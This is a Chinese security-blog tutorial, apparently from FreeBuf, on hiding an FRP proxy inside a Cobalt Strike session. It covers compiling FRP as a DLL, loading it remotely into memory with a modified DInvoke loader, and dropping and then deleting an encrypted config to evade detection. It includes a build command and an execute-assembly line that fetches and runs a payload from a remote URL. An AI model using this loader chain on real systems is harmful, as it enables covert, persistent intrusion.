T0ngF0ngNoe
- 关注
0x0 思考
在应急中或者在红队之间对抗中,对于CS马和代理都是优先打击的目标。提高代理和马的隐蔽性,也由此至关重要,好了编不下去了,进入正题。
0X1 execute-assembly
在CS中存在这么一个模块,它可以允许从内存中读取shellcode并加载.NET程序集 或者从硬盘读取并加载.NET程序集。这样保证了程序不落地在内存中加载与执行
0X2 思路
由于execute-assembly的限制,只能加载1M内的程序,所以,直接加载FRP是不可行的。所以呢,让一个小于1M的程序,被execute-assembly加载执行,执行啥呢,执行内存加载frp。
大致的思路就是这样:
CS(execute-assembly) -> frpload.exe(memory load dll) -> frp.dll(online)
0X3 FRP生成DLL
将frp转为dll,进行标记
\frp\frp-0.35.1 -v1.5-dll\cmd\frpc\main.go
\frp-0.35.1 -v1.5-dll\cmd\frpc\sub\root.go
修改Execute函数,直接进入runClient,跳过rootCmd模块(获取参数)
frp 编译成dll,大功告成。
go build -ldflags "-s -w" --buildmode=c-shared -trimpath -o main.dll main.go
0X4 验证一下
尝试使用.NET程序,常规加载下dll文件,看是否能够正常调用
成功上线
0X5 内存加载dll
Git项目DInvoke,已经实现了内存加载dll,并调用dll功能
https://github.com/TheWover/DInvoke
修改部分代码,实现本地文件加载,和远程加载(不落地)
文件加载
参数化文件加载 --file xx.dll
远程加载
参数化远程加载--url http://1.1.1.1/1.dll
添加函数 MapModuleToMemoryUrl
添加函数AllocateFileToMemoryUrl
添加函数Downloadbinarypefilebyhttp
大功告成
0x6 试水
远程加载
本地加载
CS尝试
成功上线
在进程中,只有beacon.exe 起了子进程 调用rundll32
退出cs, 进程依然存在,frp 还活着
0x7 参数化修改
由于C#加载器,在内存中加载dll文件,获取内存中dll 指定函数地址再进行调用,所以在参数传递这一块,尚未找到实现的手法。所以更换思路,将获取到的加密配置,直接落地到目的主机,让dll函数去读取加密的配置文件,然后再删除配置文件。从而实现参数化。
通过加密工具,对frp配置参数进行加密处理
效果演示
内存加载 加载器,加载器远程内存加载frp,将加密配置落地读取后删除。
execute-assembly DInvokeSU.exe --url http://192.168.124.1:8080/main.bin 加密配置 --key duxaz
FRP读取配置
读取配置文件,随后删除配置,将加密配置传入Execute()
修改结构体,将加密参数带入,后续调用函数
加密配置,传入配置加载函数GetRenderedConfFromFile()
拼接配置文件,随后函数对配置数据进行赋值
获取加密配置参数
参数获取加密配置参数,直接落地到Temp目录下,供frp读取
结束: 客户端和服务端均已经魔改,修改部分静态以及流量特征。
参考链接
https://github.com/TheWover/DInvoke
https://github.com/fatedier/frp
详细使用方式可查看:
https://github.com/T0ngF0ngnie/DInvokeFrp
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)